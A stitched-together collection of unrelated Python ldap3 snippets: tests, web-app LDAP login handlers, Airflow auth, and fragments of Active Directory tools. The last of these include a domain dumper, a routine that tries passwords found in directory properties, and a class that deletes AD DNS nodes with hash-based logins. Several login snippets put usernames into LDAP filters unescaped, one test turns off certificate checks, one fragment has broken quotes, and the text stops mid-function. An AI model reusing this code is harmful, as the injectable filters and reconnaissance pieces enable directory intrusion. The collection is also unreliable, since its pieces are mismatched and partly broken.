def test_open_with_tls_after_bind(self): if isinstance(test_server, (list, tuple)): server = ServerPool(pool_strategy=test_pooling_strategy, active=test_pooling_active, exhaust=test_pooling_exhaust) for host in test_server: server.add(Server(host=host, port=test_port, allowed_referral_hosts=('*', True), get_info=test_get_info, mode=test_server_mode)) else: server = Server(host=test_server, port=test_port, tls=Tls()) connection = Connection(server, auto_bind=False, version=3, client_strategy=test_strategy, user=test_user, password=test_password, authentication=test_authentication, lazy=test_lazy_connection, pool_name='pool1') connection.open() connection.bind() connection.start_tls() self.assertTrue(connection.bound) connection.unbind() if connection.strategy.pooled: connection.strategy.terminate() self.assertFalse(connection.bound)
def _checkInLdap(reg, dni, uid): logging.info('Conectandose al server ldap en {}'.format(reg.get('ldap_server'))) from ldap3 import Server, Connection, ALL_ATTRIBUTES s = Server(reg.get('ldap_server')) conn = Connection(s, user=reg.get('ldap_user'), password=reg.get('ldap_password')) conn.bind() try: logging.info('buscando usuario con uid = {}'.format(uid)) if not conn.search('ou=people,dc=econo', '(|(uid={})(uid={}))'.format(uid, dni), attributes=ALL_ATTRIBUTES): logging.info('No existe información de ese usuario dentro del ldap') return None for e in conn.entries: logging.info(e.entry_get_dn()) logging.info(e) finally: conn.unbind()
class Test(unittest.TestCase): def setUp(self): schema = SchemaInfo.from_json(edir_8_8_8_schema) info = DsaInfo.from_json(edir_8_8_8_dsa_info, schema) server = Server.from_definition('MockSyncServer', info, schema) self.connection = Connection(server, user='******', password='******', client_strategy=MOCK_SYNC) def tearDown(self): self.connection.unbind() self.assertFalse(self.connection.bound) def test_open(self): self.connection.open() self.assertFalse(self.connection.closed) def test_bind(self): self.connection.open() self.connection.bind() self.assertTrue(self.connection.bound) def test_unbind(self): self.connection.open() self.connection.bind() self.assertTrue(self.connection.bound) self.connection.unbind() self.assertFalse(self.connection.bound)
def authenticate(username, password): user = None # Initial connection to the LDAP server. server = Server(app.config['LDAP_URI']) connection = Connection(server) try: if not connection.bind(): return None # Verify that the user exists. result = connection.search(search_base=app.config['LDAP_SEARCH_BASE'], search_filter='(uid={})'.format(username), attributes=['mail', 'cn']) if not result: return None # The user exists! name = connection.response[0]['attributes']['cn'][0] email = connection.response[0]['attributes']['mail'][0] # Now attempt to re-bind and authenticate with the password. distinguished_name = connection.response[0]['dn'] connection = Connection(server, user=distinguished_name, password=password.encode('iso8859-1')) if not connection.bind(): return None # We're authenticated! Create the actual user object. user = User(id=username, name=name, email=email) finally: connection.unbind() return user
def connection(self): if self._conn is None: server = Server(self.server_uri, use_ssl=self.use_ssl) conn = Connection(server, self.bind_dn, self.password) conn.bind() self._conn = conn return self._conn
def test_ldapi(self): if test_server_type == 'SLAPD': server = Server('ldapi:///var/run/slapd/ldapi') connection = Connection(server, authentication=SASL, sasl_mechanism=EXTERNAL, sasl_credentials='') connection.open() connection.bind() self.assertTrue(connection.bound)
def _checkAndRemoveInLdap(reg, uid): ''' chequea si existe un usuario y lo elimina obtiene el password y lo retorna ''' logging.info('Conectandose al server ldap en {}'.format(reg.get('ldap_server'))) from ldap3 import Server, Connection, ALL_ATTRIBUTES s = Server(reg.get('ldap_server')) conn = Connection(s, user=reg.get('ldap_user'), password=reg.get('ldap_password')) conn.bind() try: logging.info('buscando usuario con uid = {}'.format(uid)) if not conn.search('ou=people,dc=econo', '(uid={})'.format(uid, uid), attributes=ALL_ATTRIBUTES): return None userPassword = None for e in conn.entries: logging.info(e.entry_get_dn()) if 'userPassword' in e: userPassword = e.userPassword logging.info('Elimando : {}'.format(e.entry_get_dn())) conn.delete(e.entry_get_dn()) return userPassword finally: conn.unbind()
def test_ldapi_encoded_url(self): if test_server_type == 'SLAPD': server = Server('ldapi://%2Fvar%2Frun%2Fslapd%2Fldapi') connection = Connection(server, authentication=SASL, sasl_mechanism=EXTERNAL, sasl_credentials='') connection.open() connection.bind() self.assertTrue(connection.bound)
class ADServer(DomainSetting): class Meta: proxy = True connection = None authentication = NTLM def test_user_password(self, username, password): self.connection = Connection(self.dc_server, user=r'%s\%s' % (self.fqdn, username), password=password, authentication=self.authentication, read_only=True) result = self.connection.bind() self.connection.unbind() return result def connect_to_server(self, read_only=True, check_names=True): self.connection = Connection(self.dc_server, user=r'%s\%s' % (self.fqdn, self.connect_user), password=self.connect_pass, authentication=self.authentication, read_only=read_only, check_names=check_names) return self.connection def search_user(self, logon_name): if self.connection is None: self.connect_to_server() self.connection.bind() if logon_name is not None: search_filter = '(&(samAccountName=' + logon_name + '))' self.connection.search(search_base=self.search_base, search_filter=search_filter, search_scope=SUBTREE, attributes=ALL_ATTRIBUTES, get_operational_attributes=True) result = self.connection.entries else: result = None self.connection.unbind() return result def get_user(self, logon_name): try: return self.search_user(logon_name=logon_name)[0] except IndexError: return None except TypeError: return None def close_connect(self): if self.connection is not None: self.connection.unbind() self.connection = None
def test_raises_size_limit_exceeded_exception(self): connection = Connection(self.server, user='******', password='******', client_strategy=MOCK_SYNC, raise_exceptions=True) # create fixtures connection.strategy.add_entry('cn=user1,ou=test', {'userPassword': '******', 'revision': 1}) connection.strategy.add_entry('cn=user2,ou=test', {'userPassword': '******', 'revision': 2}) connection.strategy.add_entry('cn=user3,ou=test', {'userPassword': '******', 'revision': 3}) connection.bind() with self.assertRaises(LDAPSizeLimitExceededResult): connection.search('ou=test', '(cn=*)', size_limit=1)
def test_bind_anonymous(self): server = Server(host=test_server, port=test_port) connection = Connection(server, auto_bind=False, version=3, client_strategy=test_strategy, authentication=AUTH_ANONYMOUS, lazy=False, pool_name='pool1') connection.open() connection.bind() self.assertTrue(connection.bound) connection.unbind() if connection.strategy_type == STRATEGY_REUSABLE_THREADED: connection.strategy.terminate() self.assertFalse(connection.bound)
def test_bind_sasl_digest_md5(self): server = Server(host=test_server, port=test_port) connection = Connection(server, auto_bind=False, version=3, client_strategy=test_strategy, authentication=AUTH_SASL, sasl_mechanism='DIGEST-MD5', sasl_credentials=(None, 'testSasl.risorse', 'password', None), pool_name='pool1') connection.open() connection.bind() self.assertTrue(connection.bound) connection.unbind() if connection.strategy_type == STRATEGY_REUSABLE_THREADED: connection.strategy.terminate() self.assertFalse(connection.bound)
def test_bind_ssl(self): server = Server(host=test_server, port=test_port_ssl, use_ssl=True) connection = Connection(server, auto_bind=False, version=3, client_strategy=test_strategy, user=test_user, password=test_password, authentication=test_authentication, pool_name='pool1') connection.open() connection.bind() self.assertTrue(connection.bound) connection.unbind() if connection.strategy_type == STRATEGY_REUSABLE_THREADED: connection.strategy.terminate() self.assertFalse(connection.bound)
def get_fake_ldap_connection(): server = Server('my_fake_server') connection = Connection( server, client_strategy=MOCK_SYNC ) connection.bind() connection.strategy.add_entry(PETER[0], PETER[1]) connection.strategy.add_entry(BILL[0], BILL[1]) return connection
def _connect(self, full_username, password): connection = Connection( self.url, user=full_username, password=password, authentication=SIMPLE, read_only=True, version=self.version ) connection.bind() return connection
def auth(username, password): un_init = init_conf() ldap = ast.literal_eval(un_init['ldap']) # 后台录入的验证用户信息,连接到ldap后通过查询登陆的用户名所在的OU,DN信息,然后进一步去ldap服务器进行账户和密码验证。 LDAP_SERVER = ldap['host'] LDAP_DOMAIN = ldap['domain'] LDAP_TYPE = ldap['type'] LDAP_SCBASE = ldap['sc'] if LDAP_TYPE == '1': user = username + '@' + LDAP_DOMAIN elif LDAP_TYPE == '2': user = "******" % (username, LDAP_SCBASE) else: user = "******" % (username, LDAP_SCBASE) c = ldap3.Connection( ldap3.Server(LDAP_SERVER, get_info=ldap3.ALL), user=user, password=password) ret = c.bind() if ret: if ldap['ou']: res = c.search( search_base=LDAP_SCBASE, search_filter='(cn={})'.format(username), search_scope=SUBTREE, attributes=['cn', 'uid', 'mail'], ) if res: entry = c.response[0] dn = entry['dn'] attr_dict = entry['attributes'] # check password by dn try: conn2 = Connection(ldap3.Server(LDAP_SERVER, get_info=ldap3.ALL), user=dn, password=password, check_names=True, lazy=False, raise_exceptions=False) conn2.bind() if conn2.result["description"] == "success": print((True, attr_dict["mail"], attr_dict["cn"], attr_dict["uid"])) c.unbind() conn2.unbind() return True else: print("auth fail") return False except: print("auth fail") return False else: return True else: return False
def test_ldap_start_tls(self, host, base_dn): server = Server(host, get_info=ALL) conn = Connection(server, user='******'.format(base_dn), password='******', raise_exceptions=True) conn.bind() assert conn.bound conn.start_tls() assert conn.tls_started conn.unbind()
def test_ldapi_encoded_url(self): if test_server_type == 'SLAPD': try: server = Server('ldapi://%2Fvar%2Frun%2Fslapd%2Fldapi') connection = Connection(server, authentication=SASL, sasl_mechanism=EXTERNAL, sasl_credentials=('',)) connection.open() connection.bind() self.assertTrue(connection.bound) except LDAPSocketOpenError: return self.assertTrue(False)
def has_access(uid, pin): LOGGER.debug('Checking pin for user %s' % uid) if config.ldap_ssl: server = Server(config.ldap_host, port=config.ldap_port, use_ssl=True, get_info=ALL) elif config.ldap_starttls: tls_configuration = Tls(validate=CERT_REQUIRED, version=PROTOCOL_TLSv1_2) server = Server(config.ldap_host, port=config.ldap_port, tls=tls_configuration, get_info=ALL) else: server = Server(config.ldap_host, port=config.ldap_port, get_info=ALL) conn = Connection(server, user=config.ldap_user, password=config.ldap_pass) retries = 10 for i in range(retries): try: conn.bind() break except LDAPSocketOpenError as e: crypt = 'SSL' if config.ldap_ssl else ('StartTLS' if config.ldap_starttls else 'PLAIN') LOGGER.warn('Connection to %s:%d (%s) could not be established: %s' % (config.ldap_host, config.ldap_port, crypt, e)) if i < retries: sleep(10) continue else: LOGGER.fatal('Too many failed connection attempts (%d). Giving up now.' % retries) # TODO: send email to [email protected] sys.exit(1) if config.ldap_starttls: conn.start_tls() LOGGER.debug('Using server connection: %s' % conn) conn.search(search_base=config.ldap_search_base, search_filter=config.ldap_filter.format(uid), attributes=[config.ldap_pin_field, ]) ret = False if len(conn.entries) == 1: ssha = str(conn.entries[0][config.ldap_pin_field]) if not ssha.startswith('{SSHA}'): ret = uid == pin bd = b64decode(bytearray(ssha[6:], 'UTF-8')) hashv = bd[:20] salt = bd[20:] newhashv = sha1(bytearray(pin, 'UTF-8') + salt).digest() ret = hashv == newhashv conn.unbind() return ret
def get_ldap_connection(dn=None, password=None): try: cacert = configuration.conf.get("ldap", "cacert") except AirflowConfigException: pass try: ignore_malformed_schema = configuration.conf.get("ldap", "ignore_malformed_schema") except AirflowConfigException: pass if ignore_malformed_schema: set_config_parameter('IGNORE_MALFORMED_SCHEMA', ignore_malformed_schema) tls_configuration = Tls(validate=ssl.CERT_REQUIRED, ca_certs_file=cacert) server = Server(configuration.conf.get("ldap", "uri"), use_ssl=True, tls=tls_configuration) conn = Connection(server, native(dn), native(password)) if not conn.bind(): log.error("Cannot bind to ldap server: %s ", conn.last_error) raise AuthenticationError("Cannot bind to ldap server") return conn
def load_user_info(username): user = None # Initial connection to the LDAP server. server = Server(app.config['LDAP_URI']) connection = Connection(server) try: if not connection.bind(): return None # Verify that the user exists. result = connection.search(search_base=app.config['LDAP_SEARCH_BASE'], search_filter='(uid={})'.format(username), attributes=['mail', 'cn']) if not result: return None # The user exists! name = connection.response[0]['attributes']['cn'][0] email = connection.response[0]['attributes']['mail'][0] user = User(username, name, email) finally: connection.unbind() return user
class LDAP: _server = None _conn = None @staticmethod def append_if_not_in(target, faculty): if not faculty in target: target.append(faculty) def __init__(self): self._server = Server('centaur.unimelb.edu.au') self._conn = Connection(self._server) if not self._conn.bind(): raise Exception('Could not bind to ldap server') def find_department(self, email): if email is None: return None, None if 'unimelb' not in email: return 'External', None query = '(&(objectclass=person)(mail=%s))' % email self._conn.search('o=unimelb', query, attributes=['department', 'departmentNumber', 'auEduPersonSubType', 'displayName']) if len(self._conn.entries) == 0: return None, None department_no = [] for entry in self._conn.entries: if hasattr(entry, 'departmentNumber'): department_no.extend(entry.departmentNumber) return Faculties.get_from_departments(department_no) def __del__(self): self._conn.unbind()
def _authenticate(self,username,password,login=False): server_options = { 'host': repr(self._settings.host), 'use_ssl': self._settings.ssl.value, 'get_info': ALL } if self._settings.port.value != None: server_options['port'] = self._settings.port.value server = Server(**server_options) conn = Connection(server, user=username,password=password,auto_referrals=False,raise_exceptions=True) result = False try: result = conn.bind() except self._exceptions.LDAPSocketOpenError: raise self._exceptions.InvalidServer except self._exceptions.LDAPInvalidCredentialsResult: raise self._exceptions.InvalidCredentials if self._settings.port.value == None: self._settings.port = conn.server.port if login: if result == False: raise self._exceptions.InvalidCredentials if self._settings.basedn == None: self._settings.basedn = conn.server.info.raw['defaultNamingContext'][0].decode('utf-8') #fix to convert byte to string return conn return result
def test_sasl_with_external_certificate(self): tls = Tls(local_private_key_file=test_user_key_file, local_certificate_file=test_user_cert_file, validate=ssl.CERT_REQUIRED, version=ssl.PROTOCOL_TLSv1, ca_certs_file=test_ca_cert_file, valid_names=test_valid_names) if isinstance(test_server, (list, tuple)): server = ServerPool(pool_strategy=test_pooling_strategy, active=test_pooling_active, exhaust=test_pooling_exhaust) for host in test_server: server.add(Server(host=host, port=test_port_ssl, use_ssl=True, tls=tls, allowed_referral_hosts=('*', True), get_info=test_get_info, mode=test_server_mode)) else: server = Server(host=test_server, port=test_port_ssl, use_ssl=True, tls=tls) connection = Connection(server, auto_bind=False, version=3, client_strategy=test_strategy, authentication=SASL, sasl_mechanism='EXTERNAL') connection.open() connection.bind() self.assertTrue(connection.bound) connection.unbind() if connection.strategy.pooled: connection.strategy.terminate() self.assertFalse(connection.bound)
def test_bind_ssl_cert_none(self): if test_strategy not in [MOCK_SYNC, MOCK_ASYNC]: tls = Tls(validate=ssl.CERT_NONE) if isinstance(test_server, (list, tuple)): server = ServerPool(pool_strategy=test_pooling_strategy, active=test_pooling_active, exhaust=test_pooling_exhaust) for host in test_server: server.add(Server(host=host, port=test_port, allowed_referral_hosts=('*', True), get_info=test_get_info, mode=test_server_mode)) else: server = Server(host=test_server, port=test_port_ssl, use_ssl=True, tls=tls) connection = Connection(server, auto_bind=False, client_strategy=test_strategy, user=test_user, password=test_password, authentication=test_authentication) connection.open() connection.bind() self.assertTrue(connection.bound) connection.unbind() if connection.strategy.pooled: connection.strategy.terminate() self.assertFalse(connection.bound)
def post(self, request): serializer = self.serializer_class(data=request.data) if serializer.is_valid(): host = serializer.validated_data["AUTH_LDAP_SERVER_URI"] bind_dn = serializer.validated_data["AUTH_LDAP_BIND_DN"] password = serializer.validated_data["AUTH_LDAP_BIND_PASSWORD"] use_ssl = serializer.validated_data.get("AUTH_LDAP_START_TLS", False) search_ou = serializer.validated_data["AUTH_LDAP_SEARCH_OU"] search_filter = serializer.validated_data["AUTH_LDAP_SEARCH_FILTER"] attr_map = serializer.validated_data["AUTH_LDAP_USER_ATTR_MAP"] print(serializer.validated_data) try: attr_map = json.loads(attr_map) except json.JSONDecodeError: return Response({"error": "AUTH_LDAP_USER_ATTR_MAP not valid"}, status=401) server = Server(host, use_ssl=use_ssl) conn = Connection(server, bind_dn, password) try: conn.bind() except Exception as e: return Response({"error": str(e)}, status=401) print(search_ou) print(search_filter % ({"user": "******"})) print(attr_map.values()) ok = conn.search(search_ou, search_filter % ({"user": "******"}), attributes=list(attr_map.values())) if not ok: return Response({"error": "Search no entry matched"}, status=401) users = [] for entry in conn.entries: user = {} for attr, mapping in attr_map.items(): if hasattr(entry, mapping): user[attr] = getattr(entry, mapping) users.append(user) if len(users) > 0: return Response({"msg": "Match {} s users".format(len(users))}) else: return Response({"error": "Have user but attr mapping error"}, status=401) else: return Response({"error": str(serializer.errors)}, status=401)
def try_ldap_login(login, password): """ Connect to a LDAP directory to verify user login/passwords""" result = "Wrong login/password" s = Server(config.LDAPURI, port=config.LDAPPORT, use_ssl=False, get_info=ALL) # 1. connection with service account to find the user uid uid = useruid(s, login) if uid: # 2. Try to bind the user to the LDAP c = Connection(s, user = uid , password = password, auto_bind = True) c.open() c.bind() result = c.result["description"] # "success" if bind is ok c.unbind() return result
class Test(unittest.TestCase): def setUp(self): server = Server(host=test_server, port=test_port, allowed_referral_hosts=('*', True)) self.connection = Connection(server, version=3, client_strategy=test_strategy, user=test_user, password=test_password, authentication=test_authentication, lazy=test_lazy_connection, pool_name='pool1') def tearDown(self): self.connection.unbind() if self.connection.strategy_type == STRATEGY_REUSABLE_THREADED: self.connection.strategy.terminate() self.assertFalse(self.connection.bound) def test_open_connection(self): self.connection.open() self.assertEquals(self.connection.closed, False) self.connection.unbind() if self.connection.strategy_type == STRATEGY_REUSABLE_THREADED: self.connection.strategy.terminate() self.assertEquals(self.connection.closed, True) self.assertEquals(self.connection.bound, False) def test_bind_connection(self): self.connection.open() self.assertEquals(self.connection.closed, False) self.connection.bind() self.assertEquals(self.connection.bound, True) self.connection.unbind() if self.connection.strategy_type == STRATEGY_REUSABLE_THREADED: self.connection.strategy.terminate() self.assertEquals(self.connection.closed, True) self.assertEquals(self.connection.bound, False) def test_connection_in_context(self): with self.connection: self.assertEquals(self.connection.closed, False) self.assertEquals(self.connection.bound, True) self.assertEquals(self.connection.closed, True) self.assertEquals(self.connection.bound, False) def test_connection_in_context_with_as(self): with self.connection as c: self.assertEquals(c.closed, False) self.assertEquals(c.bound, True) self.assertEquals(self.connection.closed, True) self.assertEquals(self.connection.bound, False)
def checkpassword(self, **params): username = cherrypy.request.params.get('username').lower() password = cherrypy.request.params.get('password') # check if password is empty if not password: smsgwglobals.wislogger.debug("FRONT: No password on login") raise cherrypy.HTTPRedirect("/smsgateway") # check if username is valid if not username: smsgwglobals.wislogger.debug("FRONT: No username on login") raise cherrypy.HTTPRedirect("/smsgateway") if len(username) > wisglobals.validusernamelength: smsgwglobals.wislogger.debug("FRONT: Username to long on login") raise cherrypy.HTTPRedirect("/smsgateway") if (re.compile(wisglobals.validusernameregex).findall(username)): smsgwglobals.wislogger.debug("FRONT: Username is not valid login") raise cherrypy.HTTPRedirect("/smsgateway") if 'root' in username: smsgwglobals.wislogger.debug("FRONT: ROOT Login " + username) try: if Helper.checkpassword(username, password) is True: cherrypy.session['logon'] = True raise cherrypy.HTTPRedirect("/smsgateway/main") else: raise cherrypy.HTTPRedirect("/smsgateway") except error.UserNotFoundError: raise cherrypy.HTTPRedirect("/smsgateway") else: try: smsgwglobals.wislogger.debug("FRONT: Ldap Login " + username) if wisglobals.ldapenabled is None or 'true' not in wisglobals.ldapenabled.lower(): smsgwglobals.wislogger.debug("FRONT: Ldap Login disabled " + username) raise cherrypy.HTTPRedirect("/smsgateway") smsgwglobals.wislogger.debug("FRONT: Ldap Login " + username) smsgwglobals.wislogger.debug("FRONT: Ldap Users " + str(wisglobals.ldapusers)) if username not in wisglobals.ldapusers: smsgwglobals.wislogger.debug("FRONT: Ldap username not in ldapusers") raise cherrypy.HTTPRedirect("/smsgateway") smsgwglobals.wislogger.debug("FRONT: Ldap Server " + wisglobals.ldapserver) s = Server(wisglobals.ldapserver, get_info=ALL) userdn = 'cn=' + username + ',' + wisglobals.ldapbasedn c = Connection(s, user=userdn, password=password) if c.bind(): smsgwglobals.wislogger.debug("FRONT: Ldap login successful " + username) cherrypy.session['logon'] = True raise cherrypy.HTTPRedirect("/smsgateway/main") else: raise cherrypy.HTTPRedirect("/smsgateway") except error.UserNotFoundError: raise cherrypy.HTTPRedirect("/smsgateway")
def test_auth(username, password, host, type, sc, domain, ou): if type == '1': user = username + '@' + domain elif type == '2': user = "******" % (username, sc) else: user = "******" % (username, sc) c = ldap3.Connection( ldap3.Server(host, get_info=ldap3.ALL), user=user, password=password) ret = c.bind() if ret: if ou: res = c.search( search_base=sc, search_filter='(cn={})'.format(username), search_scope=SUBTREE, attributes=['cn', 'uid', 'mail'], ) if res: entry = c.response[0] dn = entry['dn'] attr_dict = entry['attributes'] # check password by dn try: conn2 = Connection(ldap3.Server(host, get_info=ldap3.ALL), user=dn, password=password, check_names=True, lazy=False, raise_exceptions=False) conn2.bind() if conn2.result["description"] == "success": print((True, attr_dict["mail"], attr_dict["cn"], attr_dict["uid"])) c.unbind() conn2.unbind() return True else: print("auth fail") return False except: print("auth fail") return False else: return True else: return False
def entroPass(self, user, password): if not password: return None # First check if it is a clear text dc_test_conn = Server(self.server, get_info=ALL) test_conn = Connection(dc_test_conn, user=user, password=password) test_conn.bind() # Validate the login (bind) request if int(test_conn.result['result']) != 0: if self.CREDS: print( '[ ' + colored('INFO', 'yellow') + ' ] User: "******" with: "{1}" as possible clear text password' .format(user, password)) else: print('[ ' + colored('INFO', 'green') + ' ] User: "******" with: "{1}" was not cleartext'.format( user, password)) else: if self.CREDS: print( '[ ' + colored('INFO', 'yellow') + ' ] User: "******" had cleartext password of: "{1}" in a property' .format(user, password)) else: print( '[ ' + colored('OK', 'yellow') + ' ] User: "******" had cleartext password of: "{1}" in a property - continuing with these creds' .format(user, password)) print('') return user, password test_conn.unbind() # Attempt for base64 # Could be base64, lets try try: pw = base64.b64decode(bytes(password, encoding='utf-8')).decode('utf-8') except base64.binascii.Error: return None # Attempt decoded PW dc_test_conn = Server(self.server, get_info=ALL) test_conn = Connection(dc_test_conn, user=user, password=pw) test_conn.bind() # Validate the login (bind) request if int(test_conn.result['result']) != 0: if self.CREDS: print( '[ ' + colored('INFO', 'yellow') + ' ] User: "******" with: "{1}" as possible base64 decoded password' .format(user, pw)) else: print('[ ' + colored('INFO', 'green') + ' ] User: "******" with: "{1}" was not base64 encoded'. format(user, pw)) else: if self.CREDS: print( '[ ' + colored('INFO', 'yellow') + ' ] User: "******" had base64 encoded password of: "{1}" in a property' .format(user, pw)) else: print( '[ ' + colored('OK', 'yellow') + ' ] User: "******" had base64 encoded password of: "{1}" in a property - continuing with these creds' .format(user, pw)) print('') return user, pw
def main(): parser = argparse.ArgumentParser( description= 'Domain information dumper via LDAP. Dumps users/computers/groups and OS/membership information to HTML/JSON/greppable output.' ) parser._optionals.title = "Main options" parser._positionals.title = "Required options" #Main parameters #maingroup = parser.add_argument_group("Main options") parser.add_argument( "host", type=str, metavar='HOSTNAME', help= "Hostname/ip or ldap://host:port connection string to connect to (use ldaps:// to use SSL)" ) parser.add_argument( "-u", "--user", type=str, metavar='USERNAME', help= "DOMAIN\\username for authentication, leave empty for anonymous authentication" ) parser.add_argument( "-p", "--password", type=str, metavar='PASSWORD', help="Password or LM:NTLM hash, will prompt if not specified") parser.add_argument( "-at", "--authtype", type=str, choices=['NTLM', 'SIMPLE'], default='NTLM', help="Authentication type (NTLM or SIMPLE, default: NTLM)") #Output parameters outputgroup = parser.add_argument_group("Output options") outputgroup.add_argument( "-o", "--outdir", type=str, metavar='DIRECTORY', help="Directory in which the dump will be saved (default: current)") outputgroup.add_argument("--no-html", action='store_true', help="Disable HTML output") outputgroup.add_argument("--no-json", action='store_true', help="Disable JSON output") outputgroup.add_argument("--no-grep", action='store_true', help="Disable Greppable output") outputgroup.add_argument( "--grouped-json", action='store_true', default=False, help="Also write json files for grouped files (default: disabled)") outputgroup.add_argument( "-d", "--delimiter", help="Field delimiter for greppable output (default: tab)") #Additional options miscgroup = parser.add_argument_group("Misc options") miscgroup.add_argument( "-r", "--resolve", action='store_true', help= "Resolve computer hostnames (might take a while and cause high traffic on large networks)" ) miscgroup.add_argument( "-n", "--dns-server", help= "Use custom DNS resolver instead of system DNS (try a domain controller IP)" ) args = parser.parse_args() #Create default config cnf = domainDumpConfig() #Dns lookups? if args.resolve: cnf.lookuphostnames = True #Custom dns server? if args.dns_server is not None: cnf.dnsserver = args.dns_server #Custom separator? if args.delimiter is not None: cnf.grepsplitchar = args.delimiter #Disable html? if args.no_html: cnf.outputhtml = False #Disable json? if args.no_json: cnf.outputjson = False #Disable grep? if args.no_grep: cnf.outputgrep = False #Custom outdir? if args.outdir is not None: cnf.basepath = args.outdir #Do we really need grouped json files? cnf.groupedjson = args.grouped_json #Prompt for password if not set authentication = None if args.user is not None: if args.authtype == 'SIMPLE': authentication = 'SIMPLE' else: authentication = NTLM if not '\\' in args.user: log_warn('Username must include a domain, use: DOMAIN\\username') sys.exit(1) if args.password is None: args.password = getpass.getpass() else: log_info( 'Connecting as anonymous user, dumping will probably fail. Consider specifying a username/password to login with' ) # define the server and the connection s = Server(args.host, get_info=ALL) log_info('Connecting to host...') c = Connection(s, user=args.user, password=args.password, authentication=authentication) log_info('Binding to host') # perform the Bind operation if not c.bind(): log_warn('Could not bind with specified credentials') log_warn(c.result) sys.exit(1) log_success('Bind OK') log_info('Starting domain dump') #Create domaindumper object dd = domainDumper(s, c, cnf) #Do the actual dumping dd.domainDump() log_success('Domain dump finished')
# import class and constants from ldap3 import Server, Connection, ALL # define the server s = Server(host='yourhostname.com', port=389, use_ssl=False, get_info='ALL') # define the connection c = Connection(s, user='******', password='******', version=3, authentication='SIMPLE', client_strategy='SYNC', read_only=False, raise_exceptions=True) if not c.bind(): print('error in binding', c.result) else: print('Bind is successful!!') result = c.add(‘c=au,dc=yourhostname,dc=com’, [‘country’, ‘top’], {‘c’:’au’} ) print("Result of ADD: ",c.result) c.unbind() print("Unbinded successful!!")
def connect(server, user, password): s = Server(server, get_info=ALL) c = Connection(s, user=user, password=password) c.bind() return c
class LdapManager(): dns_node_attrs = ['dn', 'dc', 'name', 'dnsRecord', 'dNSTombstoned'] """ This method allows the use of nt passwords as well as hashes in the format lmhash:nthash """ def __init__(self, server, port=389, ssl=False, kerberos=False, ntuser=None, ntpass=None): self._server = server self._port = port self._ssl = ssl self._kerberos = kerberos self._ntuser = ntuser self._ntpass = ntpass self._delay = 1 self._page_records = None self._query_delay = 1 self._timeout = None self._base = '' def get_dn(self, domain): dn = '' for part in domain.split('.'): dn += 'DC=' + part + ',' return dn[:-1] def connect(self): """ LDAP connection method. Connects to an AD LDAP server via NTLM or KERBEROS authentication. This method supports the use of a plaintext password as well as NTLM hashes. HASH = LMHASH:NTHASH Returns ------- bool Returns the state of the connection. """ logging.info('[*] Creating an LDAP connection.') s = Server(self._server, port=self._port, use_ssl=self._ssl, connect_timeout=self._timeout, get_info=ALL) if self._kerberos: # Use Kerberos logging.info('[*] Using KERBEROS authentication.') try: self._conn = Connection(s, auto_bind=AUTO_BIND_NONE, authentication=SASL, sasl_mechanism=KERBEROS, read_only=False, return_empty_attributes=True) bind_result = self._conn.bind() except Exception as e: msg = e.message.encode('ascii', 'ignore') if msg.lower( ).find('no kerberos credentials available (default cache: file:/tmp/' ) != -1: logging.error('[-] Kerberos binding error.') logging.debug( '[D] You need a valid kerberos TGT ticket or an LDAP TGS ticket for accessing the remote service.' ) logging.debug( '[D] Save the kerberos ticket ccache DB into /tmp/krb5cc_<uid> and try again.' ) elif msg.lower().find('ticket expired') != -1: logging.error('[-] Kerberos binding error.') logging.debug( '[D] The provided Ticket has expired. Please provide a valid one and try again.' ) else: logging.error('[-] Unexpected binding error.') logging.debug('[D] Observe the following traceback:') logging.debug(traceback.format_exc()) return False else: # Use NTLM authentication logging.info('[*] Using NTLM authentication.') try: self._conn = Connection(s, auto_bind=AUTO_BIND_NONE, authentication=NTLM, user=self._ntuser, password=self._ntpass, read_only=False) bind_result = self._conn.bind() except: logging.error('[-] Unexpected binding error.') logging.debug('[D] Observe the following traceback:') logging.debug(traceback.format_exc()) return False # Takes the root naming context if bind_result: self._base = json.loads( s.info.to_json())['raw']['rootDomainNamingContext'][0] logging.debug('[D] Binding base: %s' % self._base) else: logging.debug('[D] An error ocurred during the binding process.') logging.debug('[D] Ldap API Message: %s' % self._conn.result['description']) return False return True def generic_search(self, base, s_filter, attributes): """ Performs a generic LDAP search. Returns list[] : A JSON formatted list of objected. """ if base is None: base = self._base if attributes is None: attributes = ALL_ATTRIBUTES json_list = [] cookie = None while cookie == None or cookie != '': try: logging.debug('[D] Searching on base: %s' % base) logging.debug('[D] Searching with filter: %s' % s_filter) logging.debug('[D] Searching the attributes: %s' % attributes) self._conn.search(search_base=base, search_filter=s_filter, search_scope=SUBTREE, attributes=attributes, paged_size=self._page_records, paged_cookie=cookie) except ldap3.core.exceptions.LDAPInvalidFilterError as e: logging.error('[-] Search error: invalid LDAP query filter') logging.debug('[D] %s' % e.message) logging.debug('[D] Filter: %s' % s_filter) break except Exception: logging.error('[-] Unexpected search error.') logging.debug('[D] Observe the following traceback:') logging.debug(traceback.format_exc()) break try: cookie = self._conn.result['controls'][ '1.2.840.113556.1.4.319']['value']['cookie'] except: cookie = '' # Waits for n seconds before querying again time.sleep(self._query_delay) for entry in self._conn.entries: # Adds the new records to the list of json objects json_list.append(json.loads(entry.entry_to_json())) return json_list def get_dns_node_info(self, domain, name): """ Gets DNS nodes. Returns list[] A JSON formatted list of dnsNode class LDAP objects with ceretain attributes. """ # It uses the full dn (including the name) because it requires to identify those nodes for # which the authenticated user does NOT have privileges and their attributes cannot be obtained domain_dn = self.get_dn(domain) node_dn = 'DC=' + name + ',DC=' + domain + ',CN=MicrosoftDNS,DC=DomainDnsZones,' + domain_dn search_filter = '(objectClass=*)' dns_nodes = self.generic_search(node_dn, search_filter, LdapManager.dns_node_attrs[1:]) dns_record_list = [] if len(dns_nodes) != 0: if dns_nodes[0]['attributes']['name'] == []: logging.debug( '[D] Looks like you don\'t have permissions to read the node\'s attributes...' ) else: dns_records = dns_nodes[0]['attributes']['dnsRecord'] for dns_record in dns_records: dns_record = base64.b64decode(dns_record['encoded']) pair = [] pair.append(DNSRecord.getTypeFromDNSRecord(dns_record)) pair.append(DNSRecord.getDataFromDNSRecord(dns_record)) dns_record_list.append(pair) return dns_record_list def delete_dns_node(self, domain, name): """ Removes a DNS node. Returns Result of operation Status """ domain_dn = self.get_dn(domain) node_dn = 'DC=' + name + ',DC=' + domain + ',CN=MicrosoftDNS,DC=DomainDnsZones,' + domain_dn try: logging.debug('[D] About to remove DNS node at dn: %s' % node_dn) self._conn.delete(node_dn) logging.debug('[D] LDAP Result: ' + self._conn.result['description']) except Exception: logging.error('[-] Unexpected search error.') logging.debug('[D] Observe the following traceback:') 